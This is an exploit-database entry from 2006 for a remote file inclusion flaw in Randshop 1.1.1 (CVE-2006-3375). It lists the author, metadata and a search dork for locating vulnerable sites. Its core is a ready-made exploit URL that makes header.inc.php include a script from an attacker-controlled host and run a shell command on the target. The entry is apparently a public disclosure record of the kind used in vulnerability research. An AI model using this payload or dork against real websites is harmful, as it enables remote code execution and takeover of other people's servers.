Randshop 1.1.1 - 'header.inc.php' Remote File Inclusion

Author: OLiBekaS
type: webapps
platform: php
port: 0
date_added: 2006-06-30
date_updated: 
verified: 1
codes: OSVDB-28182;CVE-2006-3375
tags: 
aliases: 
screenshot_url: 
application_url: 

Title       : randshop <= 1.1.1 Remote File Inclusion Vulnerability
-
URL         : http://www.randshop.com/
-
Author      : OLiBekaS
-
contact     : olibekas[at]gmail.com
-
dork        : "software 2004-2005 by randshop"
-
exploit     : http://[target]/[path]/includes/header.inc.php?dateiPfad=http://[attacker]/cmd.txt?&cmd=ls
-
greatz      : Renzokuzen, skulmatic, sikunYuk, ulga, bigmaster, cgibin, weleh, and all #papmahackerlink crew
-

# milw0rm.com [2006-07-01]